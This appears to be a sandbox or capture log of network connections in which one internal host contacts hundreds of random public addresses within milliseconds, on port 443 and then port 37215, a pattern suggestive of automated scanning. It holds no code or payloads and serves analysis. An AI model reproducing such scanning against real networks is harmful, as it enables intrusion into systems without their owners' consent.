Oct 17, 2024 02:19:44.134036064 CEST	20641	443	192.168.2.14	42.205.168.169
Oct 17, 2024 02:19:44.134044886 CEST	20641	443	192.168.2.14	118.122.68.248
Oct 17, 2024 02:19:44.134057999 CEST	20641	443	192.168.2.14	210.176.36.69
Oct 17, 2024 02:19:44.134057999 CEST	20641	443	192.168.2.14	202.3.25.238
Oct 17, 2024 02:19:44.134071112 CEST	20641	443	192.168.2.14	37.188.127.4
Oct 17, 2024 02:19:44.134073019 CEST	20641	443	192.168.2.14	5.59.59.141
Oct 17, 2024 02:19:44.134073973 CEST	20641	443	192.168.2.14	94.233.31.95
Oct 17, 2024 02:19:44.134078979 CEST	20641	443	192.168.2.14	2.156.103.255
Oct 17, 2024 02:19:44.134083033 CEST	20641	443	192.168.2.14	79.58.229.197
Oct 17, 2024 02:19:44.134090900 CEST	20641	443	192.168.2.14	79.38.31.201
Oct 17, 2024 02:19:44.134098053 CEST	20641	443	192.168.2.14	117.152.73.56
Oct 17, 2024 02:19:44.134103060 CEST	20641	443	192.168.2.14	37.169.141.210
Oct 17, 2024 02:19:44.134105921 CEST	20641	443	192.168.2.14	118.36.232.60
Oct 17, 2024 02:19:44.134111881 CEST	20641	443	192.168.2.14	123.142.91.28
Oct 17, 2024 02:19:44.134114981 CEST	20641	443	192.168.2.14	148.85.247.112
Oct 17, 2024 02:19:44.134118080 CEST	20641	443	192.168.2.14	5.92.118.28
Oct 17, 2024 02:19:44.134134054 CEST	20641	443	192.168.2.14	178.56.192.54
Oct 17, 2024 02:19:44.134140015 CEST	20641	443	192.168.2.14	2.222.28.165
Oct 17, 2024 02:19:44.134140015 CEST	20641	443	192.168.2.14	109.173.74.74
Oct 17, 2024 02:19:44.134140968 CEST	20641	443	192.168.2.14	109.134.80.49
Oct 17, 2024 02:19:44.134154081 CEST	20641	443	192.168.2.14	210.169.26.51
Oct 17, 2024 02:19:44.134159088 CEST	20641	443	192.168.2.14	178.26.50.205
Oct 17, 2024 02:19:44.134159088 CEST	20641	443	192.168.2.14	148.201.36.178
Oct 17, 2024 02:19:44.134164095 CEST	20641	443	192.168.2.14	178.79.187.107
Oct 17, 2024 02:19:44.134166956 CEST	20641	443	192.168.2.14	118.254.162.0
Oct 17, 2024 02:19:44.134167910 CEST	20641	443	192.168.2.14	109.154.135.117
Oct 17, 2024 02:19:44.134181023 CEST	20641	443	192.168.2.14	5.110.4.124
Oct 17, 2024 02:19:44.134181976 CEST	20641	443	192.168.2.14	109.176.56.245
Oct 17, 2024 02:19:44.134202003 CEST	20641	443	192.168.2.14	178.238.128.76
Oct 17, 2024 02:19:44.134202003 CEST	20641	443	192.168.2.14	109.111.174.204
Oct 17, 2024 02:19:44.134202003 CEST	20641	443	192.168.2.14	79.245.201.49
Oct 17, 2024 02:19:44.134206057 CEST	20641	443	192.168.2.14	123.109.59.242
Oct 17, 2024 02:19:44.134210110 CEST	20641	443	192.168.2.14	79.95.72.116
Oct 17, 2024 02:19:44.134223938 CEST	20641	443	192.168.2.14	5.71.37.219
Oct 17, 2024 02:19:44.134238005 CEST	20641	443	192.168.2.14	109.69.178.131
Oct 17, 2024 02:19:44.134238005 CEST	20641	443	192.168.2.14	42.62.59.29
Oct 17, 2024 02:19:44.134238005 CEST	20641	443	192.168.2.14	94.188.43.59
Oct 17, 2024 02:19:44.134238005 CEST	20641	443	192.168.2.14	5.16.149.20
Oct 17, 2024 02:19:44.134252071 CEST	20641	443	192.168.2.14	109.68.15.186
Oct 17, 2024 02:19:44.134254932 CEST	20641	443	192.168.2.14	109.181.32.147
Oct 17, 2024 02:19:44.134259939 CEST	20641	443	192.168.2.14	123.33.53.225
Oct 17, 2024 02:19:44.134260893 CEST	20641	443	192.168.2.14	117.165.239.59
Oct 17, 2024 02:19:44.134275913 CEST	20641	443	192.168.2.14	42.191.57.202
Oct 17, 2024 02:19:44.134279013 CEST	20641	443	192.168.2.14	94.186.128.130
Oct 17, 2024 02:19:44.134285927 CEST	20641	443	192.168.2.14	148.13.71.55
Oct 17, 2024 02:19:44.134296894 CEST	20641	443	192.168.2.14	117.197.82.64
Oct 17, 2024 02:19:44.134303093 CEST	20641	443	192.168.2.14	42.38.216.81
Oct 17, 2024 02:19:44.134310007 CEST	20641	443	192.168.2.14	202.174.191.231
Oct 17, 2024 02:19:44.134315968 CEST	20641	443	192.168.2.14	37.122.60.110
Oct 17, 2024 02:19:44.134325027 CEST	20641	443	192.168.2.14	94.160.89.124
Oct 17, 2024 02:19:44.134325027 CEST	20641	443	192.168.2.14	212.7.84.2
Oct 17, 2024 02:19:44.134325027 CEST	20641	443	192.168.2.14	148.69.152.112
Oct 17, 2024 02:19:44.134325027 CEST	20641	443	192.168.2.14	212.203.24.255
Oct 17, 2024 02:19:44.134341002 CEST	20641	443	192.168.2.14	178.182.41.99
Oct 17, 2024 02:19:44.134341002 CEST	20641	443	192.168.2.14	5.229.78.4
Oct 17, 2024 02:19:44.134342909 CEST	20641	443	192.168.2.14	94.4.136.215
Oct 17, 2024 02:19:44.134356976 CEST	20641	443	192.168.2.14	212.103.206.3
Oct 17, 2024 02:19:44.134361982 CEST	20641	443	192.168.2.14	109.170.197.76
Oct 17, 2024 02:19:44.134370089 CEST	20641	443	192.168.2.14	212.203.230.125
Oct 17, 2024 02:19:44.134375095 CEST	20641	443	192.168.2.14	79.80.184.151
Oct 17, 2024 02:19:44.134378910 CEST	20641	443	192.168.2.14	5.6.114.233
Oct 17, 2024 02:19:44.134382010 CEST	20641	443	192.168.2.14	210.19.164.246
Oct 17, 2024 02:19:44.134382010 CEST	20641	443	192.168.2.14	94.157.188.215
Oct 17, 2024 02:19:44.134382010 CEST	20641	443	192.168.2.14	118.156.104.119
Oct 17, 2024 02:19:44.134397984 CEST	20641	443	192.168.2.14	202.240.126.141
Oct 17, 2024 02:19:44.134401083 CEST	20641	443	192.168.2.14	94.210.252.172
Oct 17, 2024 02:19:44.134406090 CEST	20641	443	192.168.2.14	210.55.207.151
Oct 17, 2024 02:19:44.134406090 CEST	20641	443	192.168.2.14	123.205.213.104
Oct 17, 2024 02:19:44.134413958 CEST	20641	443	192.168.2.14	117.0.199.37
Oct 17, 2024 02:19:44.134414911 CEST	20641	443	192.168.2.14	5.16.74.117
Oct 17, 2024 02:19:44.134423971 CEST	20641	443	192.168.2.14	118.98.35.11
Oct 17, 2024 02:19:44.134423971 CEST	20641	443	192.168.2.14	212.139.161.64
Oct 17, 2024 02:19:44.134434938 CEST	20641	443	192.168.2.14	37.22.98.98
Oct 17, 2024 02:19:44.134434938 CEST	20641	443	192.168.2.14	2.158.117.198
Oct 17, 2024 02:19:44.134434938 CEST	20641	443	192.168.2.14	37.117.52.0
Oct 17, 2024 02:19:44.134453058 CEST	20641	443	192.168.2.14	123.57.70.73
Oct 17, 2024 02:19:44.134457111 CEST	20641	443	192.168.2.14	212.216.244.92
Oct 17, 2024 02:19:44.134469986 CEST	20641	443	192.168.2.14	123.227.17.108
Oct 17, 2024 02:19:44.134474993 CEST	20641	443	192.168.2.14	117.187.96.142
Oct 17, 2024 02:19:44.134476900 CEST	20641	443	192.168.2.14	79.138.130.71
Oct 17, 2024 02:19:44.134476900 CEST	20641	443	192.168.2.14	109.117.147.24
Oct 17, 2024 02:19:44.134490013 CEST	20641	443	192.168.2.14	123.254.168.173
Oct 17, 2024 02:19:44.134499073 CEST	20641	443	192.168.2.14	5.169.227.175
Oct 17, 2024 02:19:44.134505987 CEST	20641	443	192.168.2.14	123.70.170.54
Oct 17, 2024 02:19:44.134510994 CEST	20641	443	192.168.2.14	117.170.190.103
Oct 17, 2024 02:19:44.134510994 CEST	20641	443	192.168.2.14	2.80.158.106
Oct 17, 2024 02:19:44.134514093 CEST	20641	443	192.168.2.14	123.93.98.80
Oct 17, 2024 02:19:44.134520054 CEST	20641	443	192.168.2.14	202.36.230.253
Oct 17, 2024 02:19:44.134520054 CEST	20641	443	192.168.2.14	79.21.65.216
Oct 17, 2024 02:19:44.134526968 CEST	20641	443	192.168.2.14	79.230.13.218
Oct 17, 2024 02:19:44.134531975 CEST	20641	443	192.168.2.14	42.127.141.79
Oct 17, 2024 02:19:44.134531975 CEST	20641	443	192.168.2.14	109.170.249.151
Oct 17, 2024 02:19:44.134531975 CEST	20641	443	192.168.2.14	5.157.248.190
Oct 17, 2024 02:19:44.134533882 CEST	20641	443	192.168.2.14	5.103.101.11
Oct 17, 2024 02:19:44.134542942 CEST	20641	443	192.168.2.14	178.117.162.66
Oct 17, 2024 02:19:44.134555101 CEST	20641	443	192.168.2.14	109.30.47.113
Oct 17, 2024 02:19:44.134555101 CEST	20641	443	192.168.2.14	109.224.81.84
Oct 17, 2024 02:19:44.134567022 CEST	20641	443	192.168.2.14	2.3.42.172
Oct 17, 2024 02:19:44.134567022 CEST	20641	443	192.168.2.14	210.176.56.112
Oct 17, 2024 02:19:44.134572029 CEST	20641	443	192.168.2.14	42.215.27.218
Oct 17, 2024 02:19:44.134588003 CEST	20641	443	192.168.2.14	94.66.10.196
Oct 17, 2024 02:19:44.134588003 CEST	20641	443	192.168.2.14	212.212.106.97
Oct 17, 2024 02:19:44.134603024 CEST	20641	443	192.168.2.14	2.52.60.135
Oct 17, 2024 02:19:44.134603977 CEST	20641	443	192.168.2.14	202.35.213.175
Oct 17, 2024 02:19:44.134604931 CEST	20641	443	192.168.2.14	109.19.48.114
Oct 17, 2024 02:19:44.134610891 CEST	20641	443	192.168.2.14	178.107.84.73
Oct 17, 2024 02:19:44.134610891 CEST	20641	443	192.168.2.14	117.161.160.119
Oct 17, 2024 02:19:44.134622097 CEST	20641	443	192.168.2.14	212.142.130.43
Oct 17, 2024 02:19:44.134624004 CEST	20641	443	192.168.2.14	94.125.162.57
Oct 17, 2024 02:19:44.134655952 CEST	20641	443	192.168.2.14	210.86.182.239
Oct 17, 2024 02:19:44.134655952 CEST	20641	443	192.168.2.14	148.93.230.161
Oct 17, 2024 02:19:44.134665966 CEST	20641	443	192.168.2.14	148.95.8.170
Oct 17, 2024 02:19:44.134670019 CEST	20641	443	192.168.2.14	37.199.6.64
Oct 17, 2024 02:19:44.134670019 CEST	20641	443	192.168.2.14	202.32.134.3
Oct 17, 2024 02:19:44.134684086 CEST	20641	443	192.168.2.14	109.184.65.199
Oct 17, 2024 02:19:44.134687901 CEST	20641	443	192.168.2.14	202.152.175.177
Oct 17, 2024 02:19:44.134687901 CEST	20641	443	192.168.2.14	210.96.87.249
Oct 17, 2024 02:19:44.134692907 CEST	20641	443	192.168.2.14	117.134.64.153
Oct 17, 2024 02:19:44.134700060 CEST	20641	443	192.168.2.14	94.189.190.6
Oct 17, 2024 02:19:44.134706020 CEST	20641	443	192.168.2.14	123.75.153.61
Oct 17, 2024 02:19:44.134706020 CEST	20641	443	192.168.2.14	94.129.32.214
Oct 17, 2024 02:19:44.134710073 CEST	20641	443	192.168.2.14	2.112.239.129
Oct 17, 2024 02:19:44.134717941 CEST	20641	443	192.168.2.14	117.88.79.74
Oct 17, 2024 02:19:44.134727001 CEST	20641	443	192.168.2.14	94.130.217.135
Oct 17, 2024 02:19:44.134727001 CEST	20641	443	192.168.2.14	109.173.240.133
Oct 17, 2024 02:19:44.134737015 CEST	20641	443	192.168.2.14	94.107.113.217
Oct 17, 2024 02:19:44.134752035 CEST	20641	443	192.168.2.14	42.68.26.117
Oct 17, 2024 02:19:44.134753942 CEST	20641	443	192.168.2.14	118.92.176.97
Oct 17, 2024 02:19:44.134753942 CEST	20641	443	192.168.2.14	123.147.143.15
Oct 17, 2024 02:19:44.134754896 CEST	20641	443	192.168.2.14	94.244.231.157
Oct 17, 2024 02:19:44.134753942 CEST	20641	443	192.168.2.14	178.111.201.117
Oct 17, 2024 02:19:44.134754896 CEST	20641	443	192.168.2.14	79.30.33.64
Oct 17, 2024 02:19:44.134754896 CEST	20641	443	192.168.2.14	123.27.161.139
Oct 17, 2024 02:19:44.134764910 CEST	20641	443	192.168.2.14	212.32.230.12
Oct 17, 2024 02:19:44.134768009 CEST	20641	443	192.168.2.14	5.184.1.23
Oct 17, 2024 02:19:44.134778976 CEST	20641	443	192.168.2.14	79.41.141.83
Oct 17, 2024 02:19:44.134782076 CEST	20641	443	192.168.2.14	123.210.46.143
Oct 17, 2024 02:19:44.134782076 CEST	20641	443	192.168.2.14	2.117.255.221
Oct 17, 2024 02:19:44.134792089 CEST	20641	443	192.168.2.14	5.139.189.61
Oct 17, 2024 02:19:44.134804010 CEST	20641	443	192.168.2.14	42.164.166.51
Oct 17, 2024 02:19:44.134804964 CEST	20641	443	192.168.2.14	117.119.1.217
Oct 17, 2024 02:19:44.134819984 CEST	20641	443	192.168.2.14	123.242.4.217
Oct 17, 2024 02:19:44.134819984 CEST	20641	443	192.168.2.14	109.197.84.138
Oct 17, 2024 02:19:44.134821892 CEST	20641	443	192.168.2.14	109.224.72.86
Oct 17, 2024 02:19:44.134829044 CEST	20641	443	192.168.2.14	148.74.72.235
Oct 17, 2024 02:19:44.134838104 CEST	20641	443	192.168.2.14	42.128.81.105
Oct 17, 2024 02:19:44.134838104 CEST	20641	443	192.168.2.14	202.200.41.176
Oct 17, 2024 02:19:44.134856939 CEST	20641	443	192.168.2.14	123.42.133.87
Oct 17, 2024 02:19:44.134857893 CEST	20641	443	192.168.2.14	42.217.205.136
Oct 17, 2024 02:19:44.134857893 CEST	20641	443	192.168.2.14	212.148.66.248
Oct 17, 2024 02:19:44.134860992 CEST	20641	443	192.168.2.14	109.77.212.135
Oct 17, 2024 02:19:44.134865999 CEST	20641	443	192.168.2.14	118.210.33.191
Oct 17, 2024 02:19:44.134879112 CEST	20641	443	192.168.2.14	94.71.194.124
Oct 17, 2024 02:19:44.134880066 CEST	20641	443	192.168.2.14	42.245.161.148
Oct 17, 2024 02:19:44.134886980 CEST	20641	443	192.168.2.14	94.178.29.175
Oct 17, 2024 02:19:44.134887934 CEST	20641	443	192.168.2.14	5.223.20.25
Oct 17, 2024 02:19:44.134905100 CEST	20641	443	192.168.2.14	5.63.146.123
Oct 17, 2024 02:19:44.134908915 CEST	20641	443	192.168.2.14	210.16.165.70
Oct 17, 2024 02:19:44.134913921 CEST	20641	443	192.168.2.14	109.32.175.15
Oct 17, 2024 02:19:44.134927034 CEST	20641	443	192.168.2.14	117.137.95.83
Oct 17, 2024 02:19:44.134927988 CEST	20641	443	192.168.2.14	79.17.2.219
Oct 17, 2024 02:19:44.134927988 CEST	20641	443	192.168.2.14	79.206.213.66
Oct 17, 2024 02:19:44.134927988 CEST	20641	443	192.168.2.14	202.6.209.98
Oct 17, 2024 02:19:44.134927988 CEST	20641	443	192.168.2.14	79.131.112.114
Oct 17, 2024 02:19:44.134939909 CEST	20641	443	192.168.2.14	212.145.190.225
Oct 17, 2024 02:19:44.134954929 CEST	20641	443	192.168.2.14	210.238.148.180
Oct 17, 2024 02:19:44.134958982 CEST	20641	443	192.168.2.14	178.158.89.59
Oct 17, 2024 02:19:44.134960890 CEST	20641	443	192.168.2.14	2.204.154.172
Oct 17, 2024 02:19:44.134960890 CEST	20641	443	192.168.2.14	123.242.172.172
Oct 17, 2024 02:19:44.134965897 CEST	20641	443	192.168.2.14	2.86.83.180
Oct 17, 2024 02:19:44.134967089 CEST	20641	443	192.168.2.14	117.69.231.42
Oct 17, 2024 02:19:44.134987116 CEST	20641	443	192.168.2.14	178.50.100.75
Oct 17, 2024 02:19:44.134987116 CEST	20641	443	192.168.2.14	109.46.176.29
Oct 17, 2024 02:19:44.134987116 CEST	20641	443	192.168.2.14	117.190.241.104
Oct 17, 2024 02:19:44.134999990 CEST	20641	443	192.168.2.14	109.117.108.10
Oct 17, 2024 02:19:44.135005951 CEST	20641	443	192.168.2.14	212.131.216.152
Oct 17, 2024 02:19:44.135008097 CEST	20641	443	192.168.2.14	79.145.110.115
Oct 17, 2024 02:19:44.135015965 CEST	20641	443	192.168.2.14	210.130.236.227
Oct 17, 2024 02:19:44.135025024 CEST	20641	443	192.168.2.14	79.55.127.249
Oct 17, 2024 02:19:44.135025978 CEST	20641	443	192.168.2.14	79.66.74.195
Oct 17, 2024 02:19:44.135025978 CEST	20641	443	192.168.2.14	212.247.29.136
Oct 17, 2024 02:19:44.135046005 CEST	20641	443	192.168.2.14	5.233.87.12
Oct 17, 2024 02:19:44.135051012 CEST	20641	443	192.168.2.14	117.202.17.104
Oct 17, 2024 02:19:44.135061979 CEST	20641	443	192.168.2.14	79.96.17.218
Oct 17, 2024 02:19:44.135061979 CEST	20641	443	192.168.2.14	202.180.1.34
Oct 17, 2024 02:19:44.135065079 CEST	20641	443	192.168.2.14	109.150.126.44
Oct 17, 2024 02:19:44.135071039 CEST	20641	443	192.168.2.14	210.18.8.161
Oct 17, 2024 02:19:44.135076046 CEST	20641	443	192.168.2.14	94.75.6.49
Oct 17, 2024 02:19:44.135087967 CEST	20641	443	192.168.2.14	2.231.163.161
Oct 17, 2024 02:19:44.135090113 CEST	20641	443	192.168.2.14	117.184.247.240
Oct 17, 2024 02:19:44.135091066 CEST	20641	443	192.168.2.14	42.173.212.237
Oct 17, 2024 02:19:44.135091066 CEST	20641	443	192.168.2.14	94.15.208.211
Oct 17, 2024 02:19:44.135091066 CEST	20641	443	192.168.2.14	210.250.138.228
Oct 17, 2024 02:19:44.135091066 CEST	20641	443	192.168.2.14	202.197.222.2
Oct 17, 2024 02:19:44.135107994 CEST	20641	443	192.168.2.14	79.232.100.180
Oct 17, 2024 02:19:44.135113001 CEST	20641	443	192.168.2.14	212.188.191.96
Oct 17, 2024 02:19:44.135113001 CEST	20641	443	192.168.2.14	5.212.21.250
Oct 17, 2024 02:19:44.135113001 CEST	20641	443	192.168.2.14	2.98.184.31
Oct 17, 2024 02:19:44.135133982 CEST	20641	443	192.168.2.14	37.249.236.62
Oct 17, 2024 02:19:44.135135889 CEST	20641	443	192.168.2.14	37.254.251.143
Oct 17, 2024 02:19:44.135135889 CEST	20641	443	192.168.2.14	2.145.97.254
Oct 17, 2024 02:19:44.135138035 CEST	20641	443	192.168.2.14	94.191.239.131
Oct 17, 2024 02:19:44.135152102 CEST	20641	443	192.168.2.14	202.4.197.162
Oct 17, 2024 02:19:44.135164022 CEST	20641	443	192.168.2.14	210.76.122.131
Oct 17, 2024 02:19:44.135164022 CEST	20641	443	192.168.2.14	37.231.121.31
Oct 17, 2024 02:19:44.135173082 CEST	20641	443	192.168.2.14	2.148.173.59
Oct 17, 2024 02:19:44.135173082 CEST	20641	443	192.168.2.14	210.128.120.160
Oct 17, 2024 02:19:44.135186911 CEST	20641	443	192.168.2.14	94.172.63.76
Oct 17, 2024 02:19:44.135186911 CEST	20641	443	192.168.2.14	79.140.60.122
Oct 17, 2024 02:19:44.135205030 CEST	20641	443	192.168.2.14	37.42.45.71
Oct 17, 2024 02:19:44.135206938 CEST	20641	443	192.168.2.14	210.127.101.70
Oct 17, 2024 02:19:44.135206938 CEST	20641	443	192.168.2.14	42.203.204.239
Oct 17, 2024 02:19:44.135221958 CEST	20641	443	192.168.2.14	42.189.62.247
Oct 17, 2024 02:19:44.135226011 CEST	20641	443	192.168.2.14	117.190.221.8
Oct 17, 2024 02:19:44.135226965 CEST	20641	443	192.168.2.14	202.42.227.70
Oct 17, 2024 02:19:44.135226965 CEST	20641	443	192.168.2.14	202.72.27.221
Oct 17, 2024 02:19:44.135240078 CEST	20641	443	192.168.2.14	37.210.187.227
Oct 17, 2024 02:19:44.135246038 CEST	20641	443	192.168.2.14	2.60.9.245
Oct 17, 2024 02:19:44.135251045 CEST	20641	443	192.168.2.14	37.46.247.115
Oct 17, 2024 02:19:44.135255098 CEST	20641	443	192.168.2.14	37.152.12.32
Oct 17, 2024 02:19:44.135255098 CEST	20641	443	192.168.2.14	37.55.144.142
Oct 17, 2024 02:19:44.135267973 CEST	20641	443	192.168.2.14	202.147.192.50
Oct 17, 2024 02:19:44.135271072 CEST	20641	443	192.168.2.14	212.176.95.45
Oct 17, 2024 02:19:44.135273933 CEST	20641	443	192.168.2.14	109.150.91.63
Oct 17, 2024 02:19:44.135273933 CEST	20641	443	192.168.2.14	148.191.67.14
Oct 17, 2024 02:19:44.135279894 CEST	20641	443	192.168.2.14	37.180.232.62
Oct 17, 2024 02:19:44.135279894 CEST	20641	443	192.168.2.14	94.9.19.144
Oct 17, 2024 02:19:44.135279894 CEST	20641	443	192.168.2.14	5.180.180.128
Oct 17, 2024 02:19:44.135287046 CEST	20641	443	192.168.2.14	118.26.96.204
Oct 17, 2024 02:19:44.135287046 CEST	20641	443	192.168.2.14	109.217.49.119
Oct 17, 2024 02:19:44.135305882 CEST	20641	443	192.168.2.14	109.197.22.206
Oct 17, 2024 02:19:44.135307074 CEST	20641	443	192.168.2.14	117.87.40.221
Oct 17, 2024 02:19:44.135307074 CEST	20641	443	192.168.2.14	79.141.158.185
Oct 17, 2024 02:19:44.135307074 CEST	20641	443	192.168.2.14	212.210.251.155
Oct 17, 2024 02:19:44.135318041 CEST	20641	443	192.168.2.14	79.34.114.76
Oct 17, 2024 02:19:44.135329008 CEST	20641	443	192.168.2.14	42.8.124.92
Oct 17, 2024 02:19:44.135349989 CEST	20641	443	192.168.2.14	123.219.123.34
Oct 17, 2024 02:19:44.135349989 CEST	20641	443	192.168.2.14	178.202.210.174
Oct 17, 2024 02:19:44.135354042 CEST	20641	443	192.168.2.14	37.87.238.72
Oct 17, 2024 02:19:44.135355949 CEST	20641	443	192.168.2.14	2.25.123.112
Oct 17, 2024 02:19:44.135365009 CEST	20641	443	192.168.2.14	118.40.200.62
Oct 17, 2024 02:19:44.135365963 CEST	20641	443	192.168.2.14	178.149.80.8
Oct 17, 2024 02:19:44.135374069 CEST	20641	443	192.168.2.14	2.4.90.183
Oct 17, 2024 02:19:44.135376930 CEST	20641	443	192.168.2.14	79.28.78.254
Oct 17, 2024 02:19:44.135377884 CEST	20641	443	192.168.2.14	202.203.252.66
Oct 17, 2024 02:19:44.135391951 CEST	20641	443	192.168.2.14	117.59.252.5
Oct 17, 2024 02:19:44.135391951 CEST	20641	443	192.168.2.14	118.118.127.186
Oct 17, 2024 02:19:44.135395050 CEST	20641	443	192.168.2.14	94.33.128.159
Oct 17, 2024 02:19:44.135406017 CEST	20641	443	192.168.2.14	94.17.223.41
Oct 17, 2024 02:19:44.135417938 CEST	20641	443	192.168.2.14	42.184.146.202
Oct 17, 2024 02:19:44.135421038 CEST	20641	443	192.168.2.14	42.175.240.55
Oct 17, 2024 02:19:44.135421038 CEST	20641	443	192.168.2.14	210.152.245.59
Oct 17, 2024 02:19:44.135428905 CEST	20641	443	192.168.2.14	109.236.133.127
Oct 17, 2024 02:19:44.135428905 CEST	20641	443	192.168.2.14	2.108.125.45
Oct 17, 2024 02:19:44.135428905 CEST	20641	443	192.168.2.14	210.202.179.97
Oct 17, 2024 02:19:44.135431051 CEST	20641	443	192.168.2.14	2.30.17.207
Oct 17, 2024 02:19:44.135431051 CEST	20641	443	192.168.2.14	2.134.139.145
Oct 17, 2024 02:19:44.135447025 CEST	20641	443	192.168.2.14	79.234.64.39
Oct 17, 2024 02:19:44.135448933 CEST	20641	443	192.168.2.14	109.64.26.171
Oct 17, 2024 02:19:44.135448933 CEST	20641	443	192.168.2.14	117.194.240.178
Oct 17, 2024 02:19:44.135453939 CEST	20641	443	192.168.2.14	148.121.129.40
Oct 17, 2024 02:19:44.135462999 CEST	20641	443	192.168.2.14	94.235.205.79
Oct 17, 2024 02:19:44.135468960 CEST	20641	443	192.168.2.14	42.110.198.246
Oct 17, 2024 02:19:44.135472059 CEST	20641	443	192.168.2.14	37.197.167.47
Oct 17, 2024 02:19:44.135473013 CEST	20641	443	192.168.2.14	94.141.41.117
Oct 17, 2024 02:19:44.135477066 CEST	20641	443	192.168.2.14	212.76.187.152
Oct 17, 2024 02:19:44.135477066 CEST	20641	443	192.168.2.14	94.64.122.249
Oct 17, 2024 02:19:44.135679960 CEST	60928	443	192.168.2.14	212.60.66.16
Oct 17, 2024 02:19:44.135679960 CEST	60928	443	192.168.2.14	212.60.66.16
Oct 17, 2024 02:19:44.135700941 CEST	443	60928	212.60.66.16	192.168.2.14
Oct 17, 2024 02:19:44.135773897 CEST	443	60928	212.60.66.16	192.168.2.14
Oct 17, 2024 02:19:44.136507988 CEST	37215	46866	41.167.85.71	192.168.2.14
Oct 17, 2024 02:19:44.136563063 CEST	46866	37215	192.168.2.14	41.167.85.71
Oct 17, 2024 02:19:44.136677027 CEST	20644	37215	192.168.2.14	156.97.212.193
Oct 17, 2024 02:19:44.136679888 CEST	20644	37215	192.168.2.14	156.193.213.0
Oct 17, 2024 02:19:44.136677027 CEST	20644	37215	192.168.2.14	197.64.27.51
Oct 17, 2024 02:19:44.136683941 CEST	20644	37215	192.168.2.14	197.107.248.35
Oct 17, 2024 02:19:44.136698008 CEST	20644	37215	192.168.2.14	197.11.134.9
Oct 17, 2024 02:19:44.136698008 CEST	20644	37215	192.168.2.14	41.211.209.167
Oct 17, 2024 02:19:44.136703968 CEST	20644	37215	192.168.2.14	156.87.56.209
Oct 17, 2024 02:19:44.136712074 CEST	20644	37215	192.168.2.14	156.224.19.19
Oct 17, 2024 02:19:44.136733055 CEST	20644	37215	192.168.2.14	41.148.89.9
Oct 17, 2024 02:19:44.136733055 CEST	20644	37215	192.168.2.14	197.202.136.79
Oct 17, 2024 02:19:44.136749029 CEST	20644	37215	192.168.2.14	197.60.198.92
Oct 17, 2024 02:19:44.136753082 CEST	20644	37215	192.168.2.14	197.48.9.129
Oct 17, 2024 02:19:44.136753082 CEST	20644	37215	192.168.2.14	156.113.99.201
Oct 17, 2024 02:19:44.136760950 CEST	20644	37215	192.168.2.14	41.227.89.36
Oct 17, 2024 02:19:44.136763096 CEST	20644	37215	192.168.2.14	156.103.204.154
Oct 17, 2024 02:19:44.136763096 CEST	20644	37215	192.168.2.14	197.153.2.189
Oct 17, 2024 02:19:44.136763096 CEST	20644	37215	192.168.2.14	41.211.66.211
Oct 17, 2024 02:19:44.136763096 CEST	20644	37215	192.168.2.14	156.151.143.246
Oct 17, 2024 02:19:44.136770964 CEST	20644	37215	192.168.2.14	41.180.232.240
Oct 17, 2024 02:19:44.136770964 CEST	20644	37215	192.168.2.14	197.50.127.94
Oct 17, 2024 02:19:44.136778116 CEST	20644	37215	192.168.2.14	197.108.159.31
Oct 17, 2024 02:19:44.136780024 CEST	20644	37215	192.168.2.14	41.154.251.132
Oct 17, 2024 02:19:44.136780024 CEST	20644	37215	192.168.2.14	197.240.100.136
Oct 17, 2024 02:19:44.136802912 CEST	20644	37215	192.168.2.14	41.87.192.180
Oct 17, 2024 02:19:44.136804104 CEST	20644	37215	192.168.2.14	197.171.122.192
Oct 17, 2024 02:19:44.136804104 CEST	20644	37215	192.168.2.14	156.140.89.170
Oct 17, 2024 02:19:44.136823893 CEST	20644	37215	192.168.2.14	156.201.98.235
Oct 17, 2024 02:19:44.136831999 CEST	20644	37215	192.168.2.14	197.23.69.67
Oct 17, 2024 02:19:44.136832952 CEST	20644	37215	192.168.2.14	197.151.139.105
Oct 17, 2024 02:19:44.136832952 CEST	20644	37215	192.168.2.14	41.55.54.214
Oct 17, 2024 02:19:44.136835098 CEST	20644	37215	192.168.2.14	41.51.98.217
Oct 17, 2024 02:19:44.136835098 CEST	20644	37215	192.168.2.14	41.126.27.130
Oct 17, 2024 02:19:44.136843920 CEST	20644	37215	192.168.2.14	197.19.19.239
Oct 17, 2024 02:19:44.136845112 CEST	20644	37215	192.168.2.14	197.9.151.192
Oct 17, 2024 02:19:44.136848927 CEST	20644	37215	192.168.2.14	41.72.210.52
Oct 17, 2024 02:19:44.136848927 CEST	20644	37215	192.168.2.14	41.176.221.252
Oct 17, 2024 02:19:44.136884928 CEST	20644	37215	192.168.2.14	41.13.210.54
Oct 17, 2024 02:19:44.136884928 CEST	20644	37215	192.168.2.14	197.217.130.233
Oct 17, 2024 02:19:44.136885881 CEST	20644	37215	192.168.2.14	41.101.126.199
Oct 17, 2024 02:19:44.136887074 CEST	20644	37215	192.168.2.14	197.254.59.238
Oct 17, 2024 02:19:44.136888027 CEST	20644	37215	192.168.2.14	197.237.250.84
Oct 17, 2024 02:19:44.136894941 CEST	20644	37215	192.168.2.14	41.169.103.221
Oct 17, 2024 02:19:44.136899948 CEST	20644	37215	192.168.2.14	156.175.67.171
Oct 17, 2024 02:19:44.136899948 CEST	20644	37215	192.168.2.14	156.84.86.3
Oct 17, 2024 02:19:44.136907101 CEST	20644	37215	192.168.2.14	197.248.176.17
Oct 17, 2024 02:19:44.136907101 CEST	20644	37215	192.168.2.14	197.26.203.52
Oct 17, 2024 02:19:44.136907101 CEST	20644	37215	192.168.2.14	41.123.0.122
Oct 17, 2024 02:19:44.136923075 CEST	20644	37215	192.168.2.14	41.60.192.77
Oct 17, 2024 02:19:44.136923075 CEST	20644	37215	192.168.2.14	41.210.96.60
Oct 17, 2024 02:19:44.136928082 CEST	20644	37215	192.168.2.14	156.49.53.215
Oct 17, 2024 02:19:44.136928082 CEST	20644	37215	192.168.2.14	41.85.43.185
Oct 17, 2024 02:19:44.136951923 CEST	20644	37215	192.168.2.14	197.35.169.234
Oct 17, 2024 02:19:44.136951923 CEST	20644	37215	192.168.2.14	197.23.130.106
Oct 17, 2024 02:19:44.136955023 CEST	20644	37215	192.168.2.14	197.7.138.59
Oct 17, 2024 02:19:44.136955023 CEST	20644	37215	192.168.2.14	156.197.60.2
Oct 17, 2024 02:19:44.136960983 CEST	20644	37215	192.168.2.14	197.233.236.48
Oct 17, 2024 02:19:44.136960983 CEST	20644	37215	192.168.2.14	41.173.82.162
Oct 17, 2024 02:19:44.136965036 CEST	20644	37215	192.168.2.14	41.250.203.221
